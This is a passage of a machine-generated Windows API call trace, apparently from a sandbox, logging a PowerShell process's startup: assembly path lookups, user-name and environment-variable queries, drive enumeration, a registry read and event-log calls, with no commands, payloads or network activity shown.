| out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.037] CoTaskMemAlloc (cb=0x804) returned 0x1b7a9230 [0063.037] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b7a9230, nSize=0x27d448 | out: lpNameBuffer="EXB9WSP\\qj4SUKboE", nSize=0x27d448) returned 0x1 [0063.038] CoTaskMemFree (pv=0x1b7a9230) [0063.038] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0063.038] GetUserNameW (in: lpBuffer=0x13d560, pcbBuffer=0x27d488 | out: lpBuffer="qj4SUKboE", pcbBuffer=0x27d488) returned 1 [0063.038] CoTaskMemFree (pv=0x13d560) [0063.038] ReportEventW (hEventLog=0x1b8e0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x324c058*="Registry", lpRawData=0x324bde8) returned 1 [0063.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ccf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.040] CoTaskMemAlloc (cb=0x804) returned 0x1b7a9230 [0063.040] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b7a9230, nSize=0x27d448 | out: lpNameBuffer="EXB9WSP\\qj4SUKboE", nSize=0x27d448) returned 0x1 [0063.040] CoTaskMemFree (pv=0x1b7a9230) [0063.040] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0063.040] GetUserNameW (in: lpBuffer=0x13d560, pcbBuffer=0x27d488 | out: lpBuffer="qj4SUKboE", pcbBuffer=0x27d488) returned 1 [0063.040] CoTaskMemFree (pv=0x13d560) [0063.041] ReportEventW (hEventLog=0x1b8e0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3251420*="Variable", lpRawData=0x32511b0) returned 1 [0063.042] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.042] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.042] CoTaskMemFree (pv=0x18ae00) [0063.044] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.044] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.044] CoTaskMemFree (pv=0x18ae00) [0063.046] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27ccf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0063.046] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27cc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0063.046] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27cc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0063.047] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27cc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0063.100] CoTaskMemAlloc (cb=0x804) returned 0x1b7a9230 [0063.100] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b7a9230, nSize=0x27d448 | out: lpNameBuffer="EXB9WSP\\qj4SUKboE", nSize=0x27d448) returned 0x1 [0063.100] CoTaskMemFree (pv=0x1b7a9230) [0063.100] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0063.100] GetUserNameW (in: lpBuffer=0x13d560, pcbBuffer=0x27d488 | out: lpBuffer="qj4SUKboE", pcbBuffer=0x27d488) returned 1 [0063.100] CoTaskMemFree (pv=0x13d560) [0063.101] ReportEventW (hEventLog=0x1b8e0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3265410*="Certificate", lpRawData=0x32651a0) returned 1 [0063.105] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.105] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.106] CoTaskMemFree (pv=0x18ae00) [0063.107] GetFullPathNameW (in: lpFileName="Z:\\.", nBufferLength=0x105, lpBuffer=0x27d0b0, lpFilePart=0x0 | out: lpBuffer="Z:\\", lpFilePart=0x0) returned 0x3 [0063.107] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x4 [0063.108] GetLogicalDrives () returned 0x2000004 [0063.108] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27d0d0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.108] GetFullPathNameW (in: lpFileName="Z:\\.", nBufferLength=0x105, lpBuffer=0x27d0d0, lpFilePart=0x0 | out: lpBuffer="Z:\\", lpFilePart=0x0) returned 0x3 [0063.108] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.108] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x4 [0063.108] CoTaskMemAlloc (cb=0x20e) returned 0x12d520 [0063.108] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x12d520 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0063.108] CoTaskMemFree (pv=0x12d520) [0063.109] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.109] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.109] CoTaskMemFree (pv=0x18ae00) [0063.109] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.109] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.109] CoTaskMemFree (pv=0x18ae00) [0063.155] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.155] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.155] CoTaskMemFree (pv=0x18ae00) [0063.159] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.159] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.159] CoTaskMemFree (pv=0x18ae00) [0063.160] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", nBufferLength=0x105, lpBuffer=0x27ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop", lpFilePart=0x0) returned 0x1a [0063.160] SetErrorMode (uMode=0x1) returned 0x1 [0063.160] GetFileAttributesExW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x27d090 | out: lpFileInformation=0x27d090*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x83b23af0, ftCreationTime.dwHighDateTime=0x1d31cc1, ftLastAccessTime.dwLowDateTime=0xea274050, ftLastAccessTime.dwHighDateTime=0x1d3fd7b, ftLastWriteTime.dwLowDateTime=0xea274050, ftLastWriteTime.dwHighDateTime=0x1d3fd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.160] SetErrorMode (uMode=0x1) returned 0x1 [0063.160] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", nBufferLength=0x105, lpBuffer=0x27ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop", lpFilePart=0x0) returned 0x1a [0063.160] SetErrorMode (uMode=0x1) returned 0x1 [0063.160] GetFileAttributesExW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x27d090 | out: lpFileInformation=0x27d090*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x83b23af0, ftCreationTime.dwHighDateTime=0x1d31cc1, ftLastAccessTime.dwLowDateTime=0xea274050, ftLastAccessTime.dwHighDateTime=0x1d3fd7b, ftLastWriteTime.dwLowDateTime=0xea274050, ftLastWriteTime.dwHighDateTime=0x1d3fd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.160] SetErrorMode (uMode=0x1) returned 0x1 [0063.160] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.160] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.161] CoTaskMemFree (pv=0x18ae00) [0063.166] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", nBufferLength=0x105, lpBuffer=0x27cfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop", lpFilePart=0x0) returned 0x1a [0063.257] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", nBufferLength=0x105, lpBuffer=0x27d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop", lpFilePart=0x0) returned 0x1a [0063.257] SetErrorMode (uMode=0x1) returned 0x1 [0063.257] GetFileAttributesExW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x27d350 | out: lpFileInformation=0x27d350*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x83b23af0, ftCreationTime.dwHighDateTime=0x1d31cc1, ftLastAccessTime.dwLowDateTime=0xea274050, ftLastAccessTime.dwHighDateTime=0x1d3fd7b, ftLastWriteTime.dwLowDateTime=0xea274050, ftLastWriteTime.dwHighDateTime=0x1d3fd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.257] SetErrorMode (uMode=0x1) returned 0x1 [0063.371] CoTaskMemAlloc (cb=0x804) returned 0x1b7a93c0 [0063.371] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b7a93c0, nSize=0x27d6b8 | out: lpNameBuffer="EXB9WSP\\qj4SUKboE", nSize=0x27d6b8) returned 0x1 [0063.372] CoTaskMemFree (pv=0x1b7a93c0) [0063.372] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0063.372] GetUserNameW (in: lpBuffer=0x13d560, pcbBuffer=0x27d6f8 | out: lpBuffer="qj4SUKboE", pcbBuffer=0x27d6f8) returned 1 [0063.372] CoTaskMemFree (pv=0x13d560) [0063.374] ReportEventW (hEventLog=0x1b8e0008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x32a2c30*="Available", lpRawData=0x32a29c0) returned 1 [0063.374] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.374] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.374] CoTaskMemFree (pv=0x18ae00) [0063.375] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.375] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.375] CoTaskMemFree (pv=0x18ae00) [0063.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.378] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d110, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.384] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.384] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.384] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.384] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.385] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0063.385] CoTaskMemFree (pv=0x18ae00) [0063.385] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.385] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="\\Users\\qj4SUKboE") returned 0x10 [0063.385] CoTaskMemFree (pv=0x18ae00) [0063.385] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.385] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.385] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.385] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.385] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.385] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.386] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.386] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.386] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.386] GetCurrentProcessId () returned 0x9e4 [0063.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d140, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27d0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.389] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d6d8 | out: phkResult=0x27d6d8*=0x304) returned 0x0 [0063.389] RegQueryValueExW (in: hKey=0x304, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d65c, lpData=0x0, lpcbData=0x27d658*=0x0 | out: lpType=0x27d65c*=0x1, lpData=0x0, lpcbData=0x27d658*=0x56) returned 0x0 [0063.389] CoTaskMemAlloc (cb=0x5a) returned 0x1b7898c0 [0063.389] RegQueryValueExW (in: hKey=0x304, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d62c, lpData=0x1b7898c0, lpcbData=0x27d628*=0x56 | out: lpType=0x27d62c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27d628*=0x56) returned 0x0 [0063.390] CoTaskMemFree (pv=0x1b7898c0) [0063.390] RegCloseKey (hKey=0x304) returned 0x0 [0063.392] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.392] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.392] CoTaskMemFree (pv=0x18ae00) [0063.471] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.471] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.471] CoTaskMemFree (pv=0x18ae00) [0063.500] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.500] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.500] CoTaskMemFree (pv=0x18ae00) [0063.502] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.502] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.502] CoTaskMemFree (pv=0x18ae00) [0063.502] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.502] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.502] CoTaskMemFree (pv=0x18ae00) [0063.504] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.504] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.504] CoTaskMemFree (pv=0x18ae00) [0063.508] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.508] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.508] CoTaskMemFree (pv=0x18ae00) [0063.509] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.509] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.509] CoTaskMemFree (pv=0x18ae00) [0063.608] VirtualQuery (in: lpAddress=0x27b730, lpBuffer=0x27c5f0, dwLength=0x30 | out: lpBuffer=0x27c5f0*(BaseAddress=0x27b000, AllocationBase=0x200000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0063.619] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0063.619] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.619] CoTaskMemFree (pv=0x18ae00) [0063.733] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x18b240 [0063.933] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0063.933] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.933] CoTaskMemFree (pv=0x18b460) [0063.937] CoTaskMemAlloc (cb=0x104) returned 0x18b460 [0063.937] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b460, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.937] CoTaskMemFree (pv=0x18b460) [0063.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2e0, 